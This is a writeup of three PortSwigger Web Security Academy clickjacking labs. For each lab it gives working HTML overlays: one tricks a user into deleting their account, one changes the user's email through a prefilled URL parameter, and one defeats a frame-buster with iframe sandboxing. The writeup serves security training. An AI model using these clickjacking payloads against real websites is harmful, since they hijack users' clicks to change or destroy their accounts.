portswigger-all-labs

Complete PortSwigger Web Security Academy Lab Writeups Detailed, categorized solutions for every lab — from APPRENTICE to EXPERT — covering all 30 vulnerability types.

View on GitHub

Labs Covered

This write-up focuses on the following APPRENTICE-level labs from the PortSwigger Web Security Academy related to Clickjacking:

1 Basic clickjacking with CSRF token protection

This lab demonstrates bypassing CSRF protection by tricking a logged-in user into clicking a hidden framed page

2 Clickjacking with form input data prefilled from a URL parameter

This lab shows how attackers prefill form fields via URL parameters and use clickjacking to submit the request.

3 Clickjacking with a frame buster script

This lab focuses on bypassing a client-side frame-busting defense to successfully perform clickjacking.

LAB 1 - Basic clickjacking with CSRF token protection

Lab Description

lab1-desc

Solution

This lab contains login functionality and a delete account button protected by a CSRF token. A user is tricked into clicking elements labeled “click” on a decoy website.

To solve the lab, craft HTML that frames the account page and fools the user into deleting their account.

You can log in using:


Username: wiener
Password: peter

image

The delete button is part of a simple form that sends a POST request to /my-account/delete. In the message body, a CSRF token is included.

This token prevents me from just faking a complete delete form, as I have no way of knowing it.

One way of circumventing this is to load two pages:

  • A webpage with arbitrary content that convinces a user to click on it.
  • Show the vulnerable web page in front of it but keep it invisible to the user.

When the user tries to click on my website, the browser will interpret it as a click on the vulnerable page as it is the topmost one.

So my goal is to put something visible behind the invisible Delete account button that the user attempts to click on. The browser interprets this as a click on the button. The CSRF protection does not play any role here. The vulnerable page is received from the real server and contains the valid token.

image

lab1-1

<head>
  <style>
    #target_website {
      position: relative;
      width: 600px;
      height: 600px;
      opacity: 0.1;
      z-index: 2;
    }
    #decoy_website {
      position: absolute;
      width: 600px;
      height: 600px;
      z-index: 1;
    }
    #btn {
      position: absolute;
      top: 480px;
      left: 90px;
    }
  </style>
</head>
<body>
  <div id="decoy_website">
    <button id="btn">click</button>
  </div>
  <iframe id="target_website" src="https://id-yours.web-security-academy.net/my-account"></iframe>
</body>

lab1-result1 lab1-result2

Change the opacity to 0.0000 to make the page invisible:

lab1-opacity

Once the victim clicks, lab shows solved:

lab1-solved


LAB 2 - Clickjacking with form input data prefilled from a URL parameter

Lab Description

lab2-desc

Solution

This lab allows email changes by pre-filling form fields using URL parameters. The goal is to trick the user into clicking “Update email” on a decoy site.

Use the same credentials: wiener:peter

The email change functionality is a simple form.

lab2-form

I change the email address of wiener and check the content of the request in Burp:

lab2-burp

The correct method is using ?email= in the iframe URL. JavaScript cannot access iframe due to origin policy.

Prefill email field by navigating to:

https://.../my-account?email=mail@evil.me

image

image

<head>
  <style>
    #target_website {
      position: relative;
      width: 600px;
      height: 600px;
      opacity: 0.1;
      z-index: 2;
    }
    #decoy_website {
      position: absolute;
      width: 600px;
      height: 600px;
      z-index: 1;
    }
    #btn {
      position: absolute;
      top: 440px;
      left: 70px;
    }
  </style>
</head>
<body>
  <div id="decoy_website">
    <button id="btn">Click me</button>
  </div>
  <iframe id="target_website" src="https://id.web-security-academy.net/my-account?email=test@test.com"></iframe>
</body>

LAB 3 - Clickjacking with a frame buster script

Lab Description

lab3-desc

Solution

A frame-buster script on the target detects framing by checking if window != top. If detected, the page wipes itself clean.

The email change functionality is a simple form, this time with an added script:

image

Frame-busting in action:

image

To bypass, use iframe sandboxing. sandbox="allow-forms" disables scripts but allows form submission:

<head>
  <style>
    #target_website {
      position: relative;
      width: 600px;
      height: 600px;
      opacity: 0.1;
      z-index: 2;
    }
    #decoy_website {
      position: absolute;
      width: 600px;
      height: 600px;
      z-index: 1;
    }
    #btn {
      position: absolute;
      top: 440px;
      left: 70px;
    }
  </style>
</head>
<body>
  <div id="decoy_website">
    <button id="btn">Click me</button>
  </div>
  <iframe id="target_website" src="https://id.web-security-academy.net/my-account?email=test@test.com" sandbox="allow-forms"></iframe>
</body>

Deliver exploit to victum and Frame-buster is now bypassed:

image

Submit the form to solve the lab:

lab3-solved